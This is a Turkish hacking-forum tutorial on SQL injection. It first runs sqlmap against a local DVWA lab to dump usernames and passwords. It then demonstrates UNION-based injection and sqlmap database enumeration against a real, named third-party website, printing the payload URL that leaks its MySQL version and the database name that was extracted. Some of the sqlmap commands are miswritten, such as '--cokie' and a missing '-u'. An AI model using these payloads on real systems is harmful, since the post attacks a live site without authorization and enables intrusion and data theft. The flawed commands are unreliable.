THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

siber güvenlik eğitimi
Seçenekler

SQL Injection'a Genel Bakış [VİDEOLU] #M3TA

M3TA - ait Kullanıcı Resmi (Avatar)
Anka Red Team
Üyelik tarihi:
03/2017
Nereden:
İZMİR
Mesajlar:
2.261
Konular:
127
Teşekkür (Etti):
552
Teşekkür (Aldı):
874
Ticaret:
(0) %
0
2525
10-05-2019 09:38
#1
1.) Manuel SQL injection Ve Manuel kolon sayısı tespiti.






2.) Blind SQL İnjection [LOW]
sqlmap da sorun olduğun için yazılı şekilde anlatım yapacağım sorun çözünce Video Ekleyeceğim.

İlk önce alttaki görselde olduğu gibi DVWA Security girip "Low" Seviyesini Seçelim.




Ardından SQL injection (Blind) Kısmına Geliyoruz.

Alttaki görselde olduğu gibi "USUR ID" kutucuğuna "1" Değerini girdim ve bana "User ID exists in the database." Yazısını verdi.
Peki Burda bana söylenen ne?


1 Değerini girdim ve bana "User ID exists in the database." Yazısını verdi. Girdiğim 1 değerinin bir kaydının olduğunu SQL injection'a karşı güvenlik zaafiyetini olduğunu anladık.




sonrasın'da dvwa'da F12 tuşuna basarak "Appilication" Kısmına geliyoruz.
Sol taraftaki "Cookies" e tıklayıp "http://localhost"a geliyoruz.



Okla Gösterdiğim çerezleri birleştiriyoruz.

Kod:
security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5


Dvwa yani local hostumunuz urlsini alıp Cookies çerezlerimiz ile birleştiriyoruz


Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs
Yukarıda birleştirdiğim gibi olacak. Önemli bir nokta "localhost" olan kısmı Ana makinanızın IP si olacak örnek "192.168.1.20" bunu öğrenmek için cmd > ipconfig > IPv4 Adresi kısmındaki IP girin.

SQLmap açalım ve şu şekilde sqlmap'a urlmizi atalım.




Çıkan sonuç şu şekilde olacaktır;



Bundan sonra ise dvwa adlı tablo çekilmelidir çekmek için;
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs -D dvwa --tables




dvwa tablosunu çektiğimizde böyle bir durum ile karşılaşacağız; Ve user, çekmemiz gerekecek.


user kolonunu çekmek için;
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs -D dvwa -T users --columns


Alacağımız Sonuç;




Ve son olarak "-D dvwa -T users -C user,password --dump" Ekleyerek User,pass bilgilerimizi çekelim.
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs -D dvwa -T users -C user,password --dump
sqlmap'a yukarıdaki gibi atıyoruz ve Son işlem olarak user,pass bilgilerimize ulaşmış oluyoruz.












3.) order + by ile MySQL versiyon tespiti Nasıl Yapılır?


Üzerinde uygulayıp göstereceğim site;
Kod:
http://www.beaconnetwork.in/Product1.php?id=5
İlk önce sitemizde SQL injection açığı var mı yok mu onu öğrenelim bunu öğrenmek için
id=5 değerinin sonuna " ' " Tek tırnak veya " Çift tırnak ekleyelim.



MySQL tespiti yapmadan önce kolon sayımızı bulalaım.
order+by+1,2,3,4,5 ekleyerek SQL hatası aldım ve Kolon sayımızın 5 olduğunu anladık.



ardından yapacağımız işlem bu sefer order+by komutu değil'de " union+select+ " komutu olacak

?id=5+union+select+0,1,2,3,4,5 yaparak işleme devam ediyoruz fakat dikkat etmemiz gereken önemli bir husus var, başlarken 0 ile başladığı için sıfırın da sayılması sebebi ile 0,1,2,3,4,5 olarak yapıldığın da kolon sayısı 6 ya yükselmiş olacak bu yüzden sıfır ile beraber toplam da 5 sayı olması gerekiyor yani şöyle 0,1,2,3,4.


Devam edelim ?id=5+union+select+0,1,2,3 yazdım MySQL versiyonunu öğrenmek için eklememiz gereken bir şey daha var o da ?id=-5 "5" Rakamının önüne ' - ' Tire eklemek.
Tire eklendikten sonra tablo sayısı bir olduğu için 0,1,2,3 kısmındaki '1' i silip onun yerine
"version()" yazıyoruz. Ve hemen ekranımıza MySQL versiyonunun yansıdığını görmüş olacağız.
En son İlem şu şekilde olacak
Kod:
http://www.beaconnetwork.in/Product1.php?id=-5+union+select+0,version(),2,3


Anlamayanlar için Video olarak da çektim Daha iyi anlamaları için izleyebilirler.




3.) SQLmap İle Veri Tabanı İsmi Tespiti.

SQLmap ile veritabanı isim tepiti nasıl yapılır?.

Sql injection açığı olan bir web sitesi olması lazım sql açığı yok ise bu işlemi gerçekleştiremeyiz

Ben bir SQL açıklı site bulmuştum şimdi sqlmap'ı açıp şu kodu gireceğiz;
Kod:
sqlmap.py -u www.website.com/index.php?id=5 --dbs
Pentest Box kullananlar şu şekilde girecek;
Kod:
sqlmap sqlmap.py -u www.website.com/index.php?id=5 --dbs
Üstteki kodumuzu girdikten sonra böyle bir eklan karşılaşacağız;


Ve sqlmap işlemi bitirince bize veritabanı ismini gösterecek bakalım veri tabanı isimlerimiz neymiş;


Kod:
[*] beaconn_neweb[*] information_schema
Veri Tabanları sorunsuz bir şekilde çektik ve Veri Tabanı ismimizi öğrendik.[*] beaconn_neweb Bizim veri Tabanı ismimiz.
---------------------
M3TAMFETAMİN


Konu M3TA tarafından (11-05-2019 19:31 Saat 19:31 ) değiştirilmiştir.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler